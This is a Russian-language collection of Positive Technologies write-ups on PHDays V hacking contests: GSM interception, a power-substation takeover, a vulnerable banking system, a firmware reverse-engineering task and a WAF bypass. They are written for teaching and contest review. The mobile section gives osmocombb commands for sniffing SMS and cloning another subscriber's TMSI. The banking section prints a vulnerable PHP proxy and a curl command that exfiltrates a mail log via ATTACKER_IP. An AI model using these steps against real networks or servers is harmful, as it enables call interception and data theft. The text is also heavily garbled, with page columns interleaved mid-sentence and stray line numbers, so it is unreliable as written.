любой приличный password keeper. В нем же можно 101 PasswordSafe, KeePass). Главное — выбрать сильный мастер-пароль, генерировать случайные пароли заданной стойкости. Для защиты 103 который к тому же потом можно будет всегда вспомнить. базы с паролями придется запомнить один надежный пароль. Как

// наша школа positive research 2016

02 04 Конкурс MiTM Mobile: 06 08 10 как ломали мобильную связь 12 14 16 на PHDays V 18 20 22 Хотя мы не раз публиковали исследования о возможности прослуш- 24 Дмитрий Курбатов ки мобильной связи, перехвата SMS, подмены абонентов и взлома 26 habrahabr.ru/company/pt/blog/261035/ SIM-карт, для многих эти истории все равно относятся к области 28 магии, которой владеют только спецслужбы. Конкурс MiTM Mobile, 30 впервые прошедший в прошлом году на PHDays, позволил любому 32 участнику конференции убедиться, насколько легко можно проде- 34 лать все вышеописанные атаки, имея в руках лишь телефон на 300 рублей и набор бесплатных хакерских программ. 36 38 40 42 44 46 48 50

82 Условия и технологии конкурса

«Вам в руки попал корпоративный телефон пользователя сети MiTM Для простой и быстрой регистрации в сети были заказаны SIM- Mobile. Через DarkNet вы получили информацию, которая может ока- карты. В них были прописаны реквизиты сети MiTM Mobile, а дан- заться полезной: ные «симок» были, соответственно, прописаны в сети. Для упро- щения прослушивания эфира и для облегчения жизни игрокам в + Коды для получения публей периодически отправляются на но- нашей сотовой сети было выключено шифрование (A5/0). Наряду мер главного бухгалтера корпорации — 10000. 52 с симками участникам были выданы телефоны Motorola C118 и 54 + Финансовый директор куда-то пропал, до него уже несколько кабель USB-UART (CP2102). Все это, вместе со стеком программ 56 дней никто не может дозвониться, телефон выключен, однако osmocombb, позволило участникам CTF прослушивать эфир, пе- 58 ему до сих пор выделяются пароли. рехватывать SMS, предназначенные другим пользователям, а так- же совершать звонки в сети, подставляясь другим пользователем. 60 + Важную информацию можно получить звонком на номер 2000, 62 но там установлена авторизация по номеру звонящего. Удалось Каждая команда получила в свое распоряжение для эксперимен- 64 также узнать, что номер телефона личного секретаря директо- тов SIM-карту, кабель, телефон и образ виртуальной машины с со- 66 ра — 77777, он наверняка имеет доступ. В сети есть другие но- бранным стеком osmocombb. 68 мера, через которые сотрудники получают важную информацию, 70 но, к сожалению, узнать их не удалось. И не забывайте, в корпора- 72 тивной сети всегда можно наткнуться на частную информацию». Разбор заданий 74 Примерно такая вводная была дана участникам CTF в рамках конкур- В первую очередь — немного теории: 76 са MiTM Mobile, прошедшего на PHDays V. 78 + IMSI — международный идентификационный номер абонен- Для конкурса мы развернули реальную инфраструктуру мобильного 80 та; оператора. Она включала в себя базовую станцию, мобильные теле- 82 фоны, стационарные телефоны, а также SIM-карты. Название MiTM + MSISDN — номер абонента сети сотовой связи, назначаемый 84 Mobile, как нетрудно догадаться, было выбрано не случайно: хоте- оператором; 86 лось подчеркнуть уязвимость нашей сети. В качестве логотипа сети + TMSI — временный идентификационный номер абонента, 88 выступал кракен (ну или почти он), ломающий сотовую вышку. выдаваемый в случайном порядке в процессе регистрации 90 Итак, с внешними атрибутами сотового оператора все ясно, теперь в сети. 92 рассмотрим реализацию сети. В качестве «железного» решения вы- IMSI — именно этот волшебный номер прописан на SIM-карте. 94 ступал девайс с несложным названием UmTRX (сайт производителя: Например, имеет вид 250-01-ХХХХХХХХХХ 250 — это код страны 96 umtrx.org/hardware), на его основе строилась беспроводная часть (Россия), 01 — код оператора (МТС), ХХХХХХХХХХ — уникальный 98 сети. Непосредственно GSM-функциональность и функциональ- ID. По IMSI происходит идентификация и авторизация абонента 100 ность базовой станции, а именно софтверная часть, была реализова- в сети оператора. 102 на стеком программ Osmocom/OpenBTS. 03 Во второй консоли запускаем команду: 05 07

#~/osmocom-bb-sylvain/src/host/layer23/src/misc/ccch_scan -a 774 09 -i 127.0.0.1 11 13 15 Эта команда реализует layer 2-3 модели OSI. А именно прослушива- 17 ние эфира в поисках пакетов общего управления СССH (Common Control Channel). 19 21 -a 774 — обозначает ARFCN, на котором мы вещаем. Да-да, никому не В нашем случае с SIM-картой sysmocom 901 — код страны, 70 — код 23 нужно искать канал, на котором работает наш оператор. Все для вас, оператора, 0000005625 — ID абонента внутри сети оператора (см. 25 дорогие участники :) рисунок). 27 -i 127.0.0.1 — интерфейс, на который мы отправим наши пакеты. 29 Второе, что необходимо помнить: MSISDN, номер вашего мо- бильного (например, +79171234567) — НЕ хранится на SIM-карте. Он 31 хранится в базе оператора. Во время звонка базовая станция под- 33 ставляет этот номер согласно таблице соответствия IMSI  MSISDN 35 (в реальной сети это функция MSC/VLR). Или не подставляет (аноним- 37 ный звонок). 39 41 TMSI — это временный идентификатор в 4 байта. Выделяется або- ненту после авторизации. 43 45 Вооружились знаниями, продолжаем. 47 Запускаем стек программ osmocombb. Тут все просто. 49 Предварительно подключаем наш кабель к компьютеру и пробра- 51 сываем его внутрь виртуалки. В виртуальной машине должно поя- виться устройство /dev/ttyUSB0. Далее подключаем ВЫКЛЮЧЕННЫЙ телефон к кабелю через аудиоджек. Открываем две консоли. В первой запускаем команду: И запускаем Wireshark. Он все сделает за нас, а именно соберет необ- ходимые пакеты в SMS, распарсит TPDU/PDU-формат и покажет нам #~/osmocom-bb-master/src/host/osmocon/osmocon -p /dev/ttyUSB0 -m c123xor -c ~/osmocom-bb-master/src/target/firmware/board/ все в удобочитаемом виде. compal_e88/layer1.highram.bin 83 Мы помним, что для первого задания нам нужно перехватить SMS. Для удобства просмотра в Wireshark ставим фильтр на gsm_sms-па- кеты, чтобы не засорять экран. И нажимаем красную кнопку включения телефона. Этой командой мы запускаем загрузку прошивки в телефон, а также открытие сокета, через который будет идти общение наших программ с телефоном. Это так называемый layer 1 модели OSI. Реализует физическое взаи- модействие с сетью.

53 55 57 59 61 63 65 67 69 71 73 75 77 Видим SMS, которые проходят тем временем в эфире. Поздравляем, 79 вы выполнили первое задание! И если бы сейчас вы были на PHDays 81 V, то в эфире вы могли бы увидеть SMS с кодом для получения пу- 83 блей — игровой валюты. Трансляция кода происходила на протяже- 85 нии двух дней постоянно, каждые 5 минут, даже ночью. 87 Для второго задания также необходимо запустить layer1 (а можно и 89 не выключать его после прошлого раза). 91 93 Во второй консоли в качестве layer2-3 запускаем 95 97 99 Вот что примерно выдает в консоль layer1 после загрузки в телефон #~/osmocom-bb-master/src/host/layer23/src/mobile/mobile -i 127.0.0.1 101 (впрочем, нас это не интересует). 103

// наша школа positive research 2016

02 И тут все просто. Приложение mobile реализует функции виртуаль- Прописываем TMSI и нам приходит SMS, предназначенная исходному 04 ного телефона. Чтобы получить доступ к этим функциям, открываем абоненту. 06 третью консоль и запускаем: 08 Для третьего задания нам достаточно уже полученных данных. Как и 10 в предыдущем задании, необходимо выдать себя за другого абонен- та. Мы знаем его номер, но не знаем его TMSI. Что же делать? Все про- 12 $ telnet 127.0.0.1 4247 сто: достаточно лишь отправить SMS или инициировать звонок этому 14 абоненту, а именно на номер 77777. И, как и в предыдущем примере, 16 В консоли откроется Cisco-подобный интерфейс. Включаем расши- мы увидим запросы базовой станции к абоненту 77777. Важный мо- 18 ренный режим: мент: звонок и SMS необходимо проводить с другого телефона, ина- 20 че наша Motorola не сможет увидеть широковещательные запросы 22 базовой станции, предназначенные целевому абоненту. 24 OsmocomBB> enable Далее прописываем TMSI в наш телефон с помощью команды clone — 26 и совершаем звонок на заветный номер! 28 Далее выводим список доступных команд: 30 32 OsmocomBB# call 1 2000 34 OsmocomBB# list 36 Теперь берем в руки Motorola и слушаем код. Если участники все сде- 38 Интересно, а что делает команда clone? Кто бы мог подумать, она пол- лали правильно, то они услышат код. В противном случае — услышат 40 ностью оправдывает свое название! С помощью этой команды можно анекдот :) 42 клонировать абонента сети. Из справки к команде видим, что в ка- Кроме всего прочего в сети проходили SMS, в которых говорилось о 44 честве аргумента она принимает TMSI. Если нам удастся узнать TMSI том, что пришло новое голосовое сообщение. Если бы участники не 46 жертвы и подставить его в наш телефон, то мы сможем подключиться поленились и зашли в телефонную книгу аппарата, то они увидели 48 к сети вместо исходного абонента. бы номер голосовой почты. Позвонив по этому номеру, можно было 50 В течение всей конференции мы пытались отправить SMS на номер, услышать инсайдерскую информацию — данные о росте и падении которого не было в сети. И если бы участник догадался подставить курса акции MiTM Mobile. TMSI, запрашиваемый базовой станцией, в качестве параметра ко- Четвертое задание было связано не напрямую с GSM-связью, но с манды clone, то он получил бы следующий флаг с кодом для валюты! уязвимыми SIM-картами, которые используются для доступа в сеть. Каждой команде помимо телефона выдавалась SIM-карта с уста-

OsmocomBB# clone 1 5cce0f7f новленным на нее приложением, отображающим приглашение «Welcome to PHDays V». Для поиска уязвимых апплетов Lukas Kuzmiak и Karsten Nohl создали утилиту SIMTester. Отличительная особенно- 84 А увидеть запрос базовой станции к абоненту было очень просто. стью этой утилиты — возможность работы через osmocom-теле- Можно было посмотреть в Wireshark пакеты gsmtap с запросом фоны. Вставляем SIM-карту в телефон, подключаем к компьютеру и Paging Requests Type 1 (запрос базовой станции при осуществлении запускаем поиск. Через пару минут проанализируем полученные звонка). данные:

52 54 56 58 60 62 64 Помимо множества приложений, разглашающих информацию, ко- 66 торой достаточно для брутфорса ключей, нам заботливо выделили 68 красным цветом приложение, которое не требует для доступа ника- 70 ких секретных ключей. Проанализируем его отдельно: 72 74 Или во второй консоли, где запущен mobile: 76 78 80 82 84 86 88 90 92 94 96 98 Последние два байта ответа SIM-карты — это байты статуса, где, 100 например, 0x9000 означает, что команда завершилась успешно. В 102 данном случае мы получаем 0x9124, что означает наличие 36 байт, 03 которые хочет нам вернуть карта. Изменим немного код программы Однако единственным, кому удалось перехватить SMS уже к середи- 05 и посмотрим, что это за данные: не первого дня, оказался Глеб Чербов, который и стал победителем конкурса. 07 09 Три задания выполнила только команда More Smoked Leet Chicken 11 к началу второго дня. Четвертое задание было доступно только для 13 участников CTF, но выполнить его не удалось никому. 15 Посетители форума могли заметить периодическое пропадание LTE, 17 Декодируем и получаем: 3G, а иногда вообще терялась сеть при приближении к зоне работы 19 GSM-глушилок. 21

>>> ‘D0228103012100820281028D1704596F752061726520636C6F73652C20626 Некоторые получали сообщения с номера 74957440144 или от 23 16420434C419000'.decode('hex') «Анонима» с текстом «SMS_from_bank» или другой «безобидный 25 '\xd0"\x81\x03\x01!\x00\x82\x02\x81\x02\x8d\x17\x04You are close, bad CLA\x90\x00' спам». Это было связано с работой сотовой сети MiTM Mobile. 27 29 А еще к исходу второго дня некоторые «везунчики» получили такое Перебираем все возможные CLA и INS для инструкций, отправляе- сообщение: 31 мых в бинарной SMS, — и получаем наш флаг: 33 35 37 39 41 43 45 47 49 51

>>> 'D0378103012100820281028D2C04596F757220666C61673A203530663432386 5623762623163313234323231383333366435306133376239659000'.decode('hex') '\xd07\x81\x03\x01!\x00\x82\x02\x81\x02\x8d,\x04Your flag: 50f428eb7bb1c1242218336d50a37b9e\x90\x00'

Победители и сюрпризы конкурса 85 Попробовать свои силы в конкурс MiTM Mobile могли не только ко- манды CTF, но и все посетители PHDays: желающим выдавалось все необходимое оборудование и виртуальная машина. В итоге в конкур- Эта шутка уже не имела отношения к работе MiTM Mobile, но еще раз се участвовало более десяти человек, не считая команд CTF. напоминает всем о соблюдении элементарных правил безопасности.

53 55 57 59 61 63 65 67 Экспертный центр PT ESC поможет выявить скрытые атаки 69 71 Открытие экспертного центра безопасности Positive Technologies Expert Security Center было анонсировано на SOC-Forum 73 11 ноября 2015 года в Москве. В связи с растущей сложностью угроз и увеличением ущерба от инцидентов становит- 75 ся все очевидней, что автоматизированные средства защиты — необходимое, но не достаточное условие работы служб 77 безопасности. PT ESC предлагает компаниям и центрам мониторинга мощную экспертизу, возможность прогнозировать 79 угрозы, проактивно реагировать на опасные инциденты и проводить ретроспективный анализ для обнаружения сложных 81 и целенаправленных атак. Каждый кейс клиентов PT ESC анализируется специалистами, которые имеют многолетний опыт 83 анализа угроз и решения проблем безопасности в IT-инфраструктурах крупнейших компаний России, включая экспертное 85 сопровождение таких мероприятий, как универсиада в Казани и Олимпийские игры в Сочи. 87 89 91 93 95 97 99 101 103

// наша школа positive research 2016

02 04 Кто взломал электроподстанцию: 06 08 10 итоги конкурса 12 14 16 Digital Substation Takeover 18 20 22 В рамках конкурса Digital Substation Takeover, представленного 24 Александр Лашков iGRIDS, у посетителей PHDays была возможность попробовать свои 26 habrahabr.ru/company/pt/blog/259905/ силы во взломе настоящей электрической подстанции, построен- 28 ной по стандарту IEC 61850. Два дня участники пытались провести 30 успешную атаку и получить контроль над системой управления 32 электрооборудованием. 34 36 38 40 42 Что нужно было сделать 44 46 Созданный специально для конкурса макет, имитировавший под- большие объемы информации (в Википедии, на специализированных станцию высокого напряжения в 500 кВ, включал коммутаторы, форумах, на сайтах производителей оборудования). 48 серверы времени, контроллеры и устройства релейной защиты, ко- 50 Конкурс включал в себя несколько заданий, которые участники вы- торые реально используются в современных высоковольтных элек- полняли с разным успехом: трических сетях для защиты от аварийных и внештатных ситуаций (короткие замыкания, повреждения ЛЭП и т. п.). + временное разрушение информационной инфраструктуры подстанции (удалось осуществить 6 раз); Участникам предлагалось несколько сценариев, каждый из которых + перепрограммирование сервера времени предполагал в конечном счете несанкционированное управление (1 успешное выполнение); коммутационными аппаратами — от простого отключения выключа- + несанкционированное отключение потребителей теля до включения заземляющих ножей в обход оперативных блоки- (выполнено 2 раза); ровок. Самое сложное задание — создание аварийной ситуации на + обнаружение ранее неизвестной уязвимости (1 раз). 86 объекте — должно было, по задумке организаторов, сопровождать- ся фейерверком из горящих проводов на установленной рядом ими- Самое главное и сложное задание — перехват управления первичным тации воздушной линии электропередач. оборудованием и подачу команды в обход блокировки — никому вы- полнить не удалось, хотя одна из команд-участниц была близка к этому. В конкурсе приняли участие около 50 посетителей PHDays и несколь- ко команд CTF. Первое место занял Сергей Сидоров, второе Александр Калинин. Кроме того, взлом подстанции принес очки двум командам CTF — RDot и ReallyNonamesFor. Технические подробности Организаторы соревнования из компании iGRIDS фиксировали и ана- 52 лизировали все, что происходило на стенде. Уже к середине конкурса В конкурсном макете было задействовано следующее оборудование: 54 стало понятно, что спектр угроз для созданной ими системы шире, чем 56 + самая популярная система управления энергообъектом SICAM предполагалось изначально; разработчики обещают учесть все новые 58 PAS v. 7.0; варианты атак в своей работе и следующих версиях средств защиты. 60 + самые популярные терминалы релейной защиты и контроллеры; 62 + серверы времени GPS и ГЛОНАСС; 64 + промышленные коммутаторы. 66 68 Ход соревнования 70 72 Поскольку конкурс был представлен в программе PHDays впервые, а 74 сама его тема довольно специфична, весь первый день у участников 76 ушел на то, чтобы разобраться, что такое релейная защита, выключате- 78 ли и оперативные блокировки. Приходилось искать и анализировать 80 82 84 86 88 90 92 94 96 98 100 102 03 Как взламывали банк 05 07 09 на PHDays V 11 13 15 17 В рамках Positive Hack Days V прошел традиционный конкурс по ана- Юрий Дьяченко 19 лизу защищенности систем ДБО «Большой ку$h». Участникам были habrahabr.ru/company/pt/blog/259609/ 21 предоставлены копии виртуальных машин, содержащие уязвимые 23 веб-сервисы ДБО, аналогичные реальным системам. За один час участ- 25 ники должны были воспользоваться проблемами безопасности, обна- 27 руженными при анализе образа системы ДБО, и перевести деньги из 29 банка на свой счет. 31 В конкурсе приняли участие около 30 человек и несколько команд CTF, 33 призовой фонд составил 40 тысяч рублей. 35 37 39 41 43 Специально для конкурса «Большой ку$h» была разработана система curl_setopt_array($ch, [ 45 ДБО PHDays iBank, содержащая уязвимости, которые встречаются в // CURLOPT_URL => $_GET['url'], 47 CURLOPT_URL => $url, реальных банковских системах. Система была разделена на две ча- 49 CURLOPT_HEADER => false, сти — frontend и backend, предоставляющий простейший RESTful CURLOPT_RETURNTRANSFER => true, 51 API. Поэтому участникам было необходимо ознакомиться еще и с ]); протоколом взаимодействия частей ДБО. if (!empty($_GET['params'])) { Как правило, в системах ДБО присутствуют не топорные ошибки без- curl_setopt_array($ch, [ опасности, позволяющие провести прямую атаку с внедрением или CURLOPT_POST => true, исполнением зловредного кода, а логические уязвимости (слабые CURLOPT_POSTFIELDS => $_GET['params'] проверки, приводящие к утечке важных данных). Именно на них был ]); } сделан акцент в конкурсной системе. var_dump(curl_exec($ch)); В PHDays iBank было заложено 7 комбинаций уязвимостей, на каждую 87 комбинацию приходилось по 10 банковских счетов виртуальных curl_close($ch); пользователей, на которых хранились деньги (чем сложнее уязви- мость, тем больше денег на счете). Проверку имени узла можно обойти. Зная про возможность переда- Участники могли проводить следующие атаки: чи файлов и используя символ @ в значении параметра, можно про- вести следующую атаку: + брутфорс по спискам популярных паролей; + взлом аккаунтов с двухфакторной авторизацией (обход проверок); + эксплуатация уязвимостей в алгоритмах сброса паролей; curl -H 'Host: ibank.dev' + взаимодействие с тестовым сценарием, контролирующим ра- 'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/¶ms\[a\]=@ / 53 var/www/frontend/data/logs/mail.log' ботоспособность API backend (обход проверок доступа, чтение 55 произвольных файлов); 57 + обход защиты механизма отложенных платежей (данная атака Получив содержимое журнала отправленных сообщений, участник 59 могла быть использована и для похищения денег со счетов дру- мог найти в них пароли к учетным записям, которые использовали 61 гих конкурсантов). систему восстановления пароля. 63 65 Для обхода двухфакторной аутентификации использовалась уязви- 67 Несколько уязвимостей, заложенных мость в Authy, опубликованная незадолго до конкурса. Выяснилось, 69 что не все участники были с ней знакомы, и поэтому работали по ста- в систему ринке, перебирая возможные значения. 71 73 Тестовый сценарий содержал следующий код: Участники могли не только атаковать систему ДБО, чтобы выве- 75 сти средства из банка, но и атаковать счета друг друга, уводя с них 77 деньги. Именно по этому пути пошли члены команды More Smoked

// наша школа positive research 2016

02 04 Разбор конкурса Best Reverser 06 08 10 на PHDays V 12 14 16 18 Дмитрий Скляров 20 habrahabr.ru/company/pt/blog/261375/ 22 24 26 28 30 32 34 зашифрован. Операционная система может быть совсем не попу- лярная — или вообще может отсутствовать. Часть кода может быть 36 жестко прописана в устройстве и не обновляться через прошивку. 38 Архитектура процессора может быть любая! IDAPro, например, «зна- 40 ет» более 100 разных процессоров, но далеко не все. И, разумеется, 42 нет почти никакой документации, почти никогда не доступна отлад- 44 ка, а зачастую и обычное выполнение кода невозможно: прошивка 46 есть, а устройства нет… 48 Примерно такую задачу мы и решили предложить конкурсантам 50 (принять участие мог любой интернет-пользователь). Каждый из них должен был проанализировать исполняемый файл (phdays.ru/ download/fwldr.zip) и найти правильный ключ, соответствующий его email.

Первая часть: загрузчик

88 На первом этапе входным файлом был ELF, скомпилированный кросс-компилятором под архитектуру PA-RISC. IDA умеет работать с этой архитектурой, но не так хорошо, как с x86. Многие обращения к стековым переменным автоматически не распознаются, и приходит- ся помогать IDA руками. Но хотя бы видны все библиотечные функции (log, printf, memcpy, strlen, fprintf, sscanf, memset, strspn) и даже сим- волические имена некоторых функций программы (с32, exk, cry, pad, dec, cen, dde). Когда мы придумывали задание для конкурса по обратной разработ- Довольно просто понять, что программа ждет на вход два аргумен- 52 ке, то хотели отразить реальные проблемы, с которыми сталкиваются та — email и key. 54 специалисты по RE, но при этом избежать шаблонных решений. 56 Как обычно выглядят задачки на реверс? Есть исполняемый файл под 58 Windows (или Linux, или MacOS, или другую популярную операцион- 60 ную систему), его можно запускать, смотреть под отладчиком, кру- Легко выяснить также, что key должен состоять из двух частей, разде- 62 тить как угодно в виртуальных средах. Формат файла — известный. ленных символом ‘-’. Первая часть (7 знаков) должна состоять только 64 Система команд процессора — x86, AMD64 или ARM. из разрешенных символов MIME64 (0-9A-Za-z+/), а вторая (32 зна- 66 Библиотечные функции и системные вызовы — задокументированы. ка) — из шестнадцатеричных символов, которые превращаются 68 Доступ к оборудованию — только через механизмы операционной в 16 байт. 70 системы. 72 74 С использованием существующих инструментов (например, IDAPro с 76 HеxRays и всеми сопутствующими возможностями) анализ подобных приложений становится практически детской забавой: все получает- 78 ся просто и быстро. Далее видны вызовы функции c32, складывающиеся в: 80 82 Конечно, иногда для усложнения задачи в программу добавляют t = c32(-1, argv[1], strlen(argv[1])+1) 84 виртуальные машины со своим набором инструкций, замусоривание k = ~c32(t, argv[2], strlen(argv[2])+1) кода, защиту от отладки и т. п. Но если говорить честно — насколько 86 Имя c32 является подсказкой: используется СRC32, что подтвержда- часто крупные производители ПО используют все это в своих испол- 88 ется константой 0xEDB88320. няемых файлах? Да почти никогда! Какой же смысл делать конкурс, 90 нацеленный на демонстрацию навыков, которые редко требуются в Далее идет вызов функции dde (сокращение от doDecrypt), принима- 92 реальной жизни?.. ющей в первом аргументе инвертированный выход CRC32 — ключ 94 шифрования, а во втором и третьем — адрес и размер расшифровы- Однако есть еще одна область применения reverse engineering, 96 ваемого массива. 98 все больше востребованная в последние годы, — анализ firmware. И тут ситуация оказывается совсем иной. Входной файл (с прошив- Расшифрование выполняется алгоритмом BTEA на основе кода, по- 100 кой) может быть в любом формате, может быть даже запакован или заимствованного из Википедии. Догадаться, что это именно BTEA, 102 03 можно по константе DELTA==0x9E3779B9. Правда, она используется Теперь надо определить адрес загрузки. Функция по смещению 05 и в других алгоритмах, являющихся предшественниками BTEA, но ва- 0x22E0 ниоткуда не вызывается, но содержит довольно много кода. риантов совсем немного. Можно предположить, что это точка входа в программу, функция 07 start. 09 Ключ должен быть 128-битовый, а CRC32 возвращает 32-битовое зна- 11 чение, так что три дополнительных DWORD получаются в функции В третьей инструкции функции start идет вызов неизвестной библи- 13 exk (expand_key) домножением предыдущего значения на все то же отечной функции с одним аргументом == 0x126F0, и эта же функция 15 значение DELTA. вызывается из start еще 4 раза, всегда с разными, но близкими по зна- 17 чению аргументами (0x12718, 0x12738, 0x12758, 0x12760). А в середине Правда, BTEA применяется не совсем обычно. Во-первых, у этого программы, начиная со смещения 0x2490, присутствуют как раз 5 тек- 19 алгоритма настраиваемый размер блока, и в задании используется стовых строк с сообщениями: 21 12-байтовый блок: если бывают процессоры с 24-битовыми регистра- 23 ми и ячейками памяти, то почему размер блока должен быть степе- 25 нью двойки? :) А во-вторых, функции зашифрования и расшифрова- 00002490 . "Firmware loaded, sending ok back."<0> 27 ния поменяны местами — так тоже можно. 000024B8 .ascii "Failed to retrieve email."<0> 000024D8 .ascii "Failed to retrieve codes."<0> 29 Поскольку шифруется поток данных, применяется зацепление бло- 000024F8 .ascii "Gratz!"<0> 31 00002500 .ascii "Sorry may be next time..."<0> ков в режиме CBC (Cipher Block Chaining). Для расшифрованных дан- 33 ных в функции cen (calc_enthropy) вычисляется энтропия, и если ее 35 значение превысит 7, то результат расшифрования признается не- Если предположить, что адрес загрузки равен 0x126F0-0x2490 == 37 верным, и программа завершается с соответствующим сообщением. 0x10260, то все аргументы при вызове библиотечной функции будут 39 Так как ключ шифрования имеет длину всего 32 бита, может показать- точно указывать на строки, а сама неизвестная функция окажется 41 ся, что его легко подобрать. Однако если следовать логике програм- функцией printf (или puts, что в данном случае не важно). 43 мы, для проверки каждого ключа надо сначала расшифровать 80 ки- После изменения базы загрузки код будет выглядеть примерно так: 45 лобайт данных, a потом подсчитать для них энтропию. И поиск ключа 47 шифрования в лоб займет слишком много времени. 49 Однако после проверки энтропии вызывается еще одна функция, 51 pad (оригинальное название — strip_pad), которая проверяет и от- резает PKCS#7 padding. Из-за свойств режима CBC для проверки до- полнения надо расшифровать только один блок (самый последний), взять из него последний байт N, проверить, что его значение лежит в диапазоне от 1 до 12 включительно и что каждый из последних N байт имеет значение N. Это позволяет значительно сократить количество операций для проверки одного ключа, но если последний расшифрованный байт 89 будет равен 1 (а это будет справедливо для 1/256 ключей), все равно придется делать полную проверку… Чтобы найти ключ быстрее, достаточно предположить, что расшиф- рованные данные будут иметь длину, выравненную на DWORD (4 бай- та). Тогда в последнем DWORD последнего блока может оказаться только одно из трех возможных значений — 0x04040404, 0x08080808 или 0x0C0C0C0C. И используя такую эвристику можно перебрать все Значение 0x0BA0BAB0, передаваемое в функцию sub_12194, также возможные ключи (и гарантированно найти правильный) менее чем встречается в первой части задания, в функции fire_second_proc, за 20 минут. 53 и сравнивается с тем, что получается из read_pipe_u32(). Значит, 55 Если все проверки после расшифрования (энтропия и целостность sub_12194 должна называться write_pipe_u32. 57 паддинга) пройдены успешно, вызывается функция fire_second_proc, Аналогично, два вызова библиотечной функции sub_24064 — это которая симулирует запуск второго процессора и загрузку в него 59 memset(someVar, 0, 0x101) для email и code, а sub_121BC — это read_ расшифрованных данных (прошивки) — ведь в современных устрой- 61 pipe_str(), обратная write_pipe_str() из первой части. ствах часто более одного процессора, причем с совершенно разны- 63 ми архитектурами. Самая первая функция (по смещению 0 или адресу 0x10260) имеет 65 характерные константы, которые позволяют в ней безошибочно 67 Если второй процессор удалось успешно запустить, ему через функ- определить MD5_Init: 69 цию send_auth_data передается email пользователя и 16 байт со второй частью ключа. В этом месте мы случайно допустили ошибку: 71 вместо размера второй части ключа использовался размер строки 73 с email. 75 77 79 Вторая часть: прошивка 81 83 С анализом второй части все несколько сложнее. Там не ELF, а про- 85 сто образ памяти — без заголовков, имен функций и прочей мета- 87 информации. И разумеется, неизвестен ни тип процессора, ни адрес 89 загрузки. 91 Задуманный нами алгоритм определения архитектуры процессо- 93 ра — обычный перебор. Открываем в IDA, ставим следующий тип, 95 смотрим на получившийся мусор, и повторяем до тех пор, пока IDA 97 не покажет что-то похожее не код. Перебор, в идеале, должен приве- 99 сти к выводу, что это big-endian SPARC. 101 103

// наша школа positive research 2016

02 А рядом с тем местом, где к MD5_Init идет единственное обращение, Функция sub_12480 переворачивает байтовый массив заданной 04 легко обнаружить функции MD5_Update() и MD5_Final (), перед кото- длины. Фактически это memrev, на вход которой подается массив 06 рыми идет вызов библиотечной strlen(). code длиной 16 байт. 08 10 Очевидно, что в sub_24040 принимается решение о том, правиль- ный ли был код. При этом в аргументах передается указатель на 12 вычисленное значение MD5(email), указатель на массив, заполнен- 14 ный в функции sub_12394, и число 16. Здесь вполне мог быть просто 16 вызов memcmp! 18 20 Основная магия выполняется в функции sub_12394. Подсказок там 22 почти никаких нет, зато сам алгоритм описывается одной фразой — перемножение двоичной матрицы размерности 128 на двоичный 24 вектор размера 128. Матрица хранится в теле прошивки по адресу 26 0x240B8. 28 30 Таким образом, код будет признан верным если MD5(email) == 32 matrix_mul_vector(matrix, code). 34 В функции start() остается совсем немного неизвестных функций. 36 Вычисление правильного ключа 38 40 Чтобы найти правильное значение code, надо решить систему 42 двоичных уравнений, описываемую матрицей, когда в правой ча- 44 сти стоят соответствующие биты из MD5(email). Если кто-то забыл 46 линейную алгебру: это легко сделать методом Гаусса. 48 Когда известна правая часть ключа (32 шестнадцатеричных симво- 50 ла), надо подобрать первые 7 символов таким образом, чтобы ре- зультат вычисления CRC32 оказался равен найденному значению ключа для BTEA. Таких значений примерно 1024 штуки, и искать их можно как простым перебором (довольно быстро), так и обращая CRC32 и проверяя валидные символы (вообще моментально). Остается собрать все вместе и получить ключ, который прой- дет все проверки и будет признан нашим верификатором как валидный. 90 Мы опасались, что задание окажется слишком сложным и никто не сможет его решить самостоятельно от начала и до конца. К сча- стью, Виктор Алюшин показал, что наши страхи были беспочвен- ными. Напомним, Виктор победил в Best Reverser второй раз: он был лучшим и в 2013 году.

52 54 56 58 60 62 64 66 68 Обучаем практической безопасности 70 72 74 В 2015 году компания Positive Technologies отпраздновала трехлетие образовательной программы Positive Education, в 76 рамках которой мы оказываем содействие российским вузам в подготовке ИБ-специалистов. Сейчас в программе Positive Education участвуют более шестидесяти ведущих учебных заведений России, в их числе МИФИ, МГУ, МГТУ, МАТИ, СПбГЭУ, 78 ДВФУ, ОмГТУ, НГУ. Суть проекта заключается в том, что компания бесплатно предоставляет вузам защитное ПО и методиче- 80 ские материалы. Так, с помощью межсетевого экрана PT Application Firewall преподаватели смогут проводить курсы по без- 82 опасности веб-приложений, а студенты узнают о проблемах в устройстве приложений и на специальных учебных сайтах 84 отработают навыки по их защите. Системы контроля защищенности XSpider и MaxPatrol позволяют учащимся увидеть, как 86 выполняются тесты на проникновение и поиск уязвимостей. Кроме того, компания приглашает студентов на практику: это 88 реальный шанс попасть в команду экспертов Positive Technologies. По вопросам практики и организации курсов пишите 90 на [email protected]. 92 94 96 98 100 102 03 Конкурс WAF Bypass 05 07 09 на PHDays V 11 13 15 17 На международном форуме Positive Hack Days V проходил, как и го- Арсений Реутов 19 дом ранее, конкурс WAF Bypass. Задача участников — обойти защи- habrahabr.ru/company/pt/blog/259129/ 21 ту PT Application Firewall. Специально для конкурса был создан сайт 23 Choo Choo Roads с типовыми уязвимостями — Cross-Site Scripting, SQL 25 Injection, XML External Entities Injection, Open Redirect и др. Результатом 27 обхода проверки для каждой уязвимости были MD5-флаги, за которые 29 присуждались очки. Флаги располагались в файловой системе, базе данных, в куки-параметрах, которые присваивались специальному 31 боту, написанному с использованием Selenium. 33 35 Конфигурация WAF, подготовленная для конкурса, предусматривала 37 конкретные пути обхода, однако в итоге мы получили и нестандарт- 39 ные решения. Собственно, для этого конкурс и создавался — дать 41 возможность участникам попытать свои силы в обходе проверок и тем самым помочь нам улучшить механизмы защиты продукта. Итак, 43 рассмотрим уязвимостей — и способы обойти соответствующие 45 проверки. 47 49 51

{"ok":false}

Обойти проверку можно было подменив Content-Type, например на text/xml, в результате чего POST-данные не обрабатывались как JSON (проверка была отключена). 91


Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: "d2a5400fc306d25b6886612cd203a77e | 26.05 15:30 - Industry monopolist Choo Choo Roads wins a government contract for railroad construction" in /var/www/php/online. php on line 8
{"ok":false}

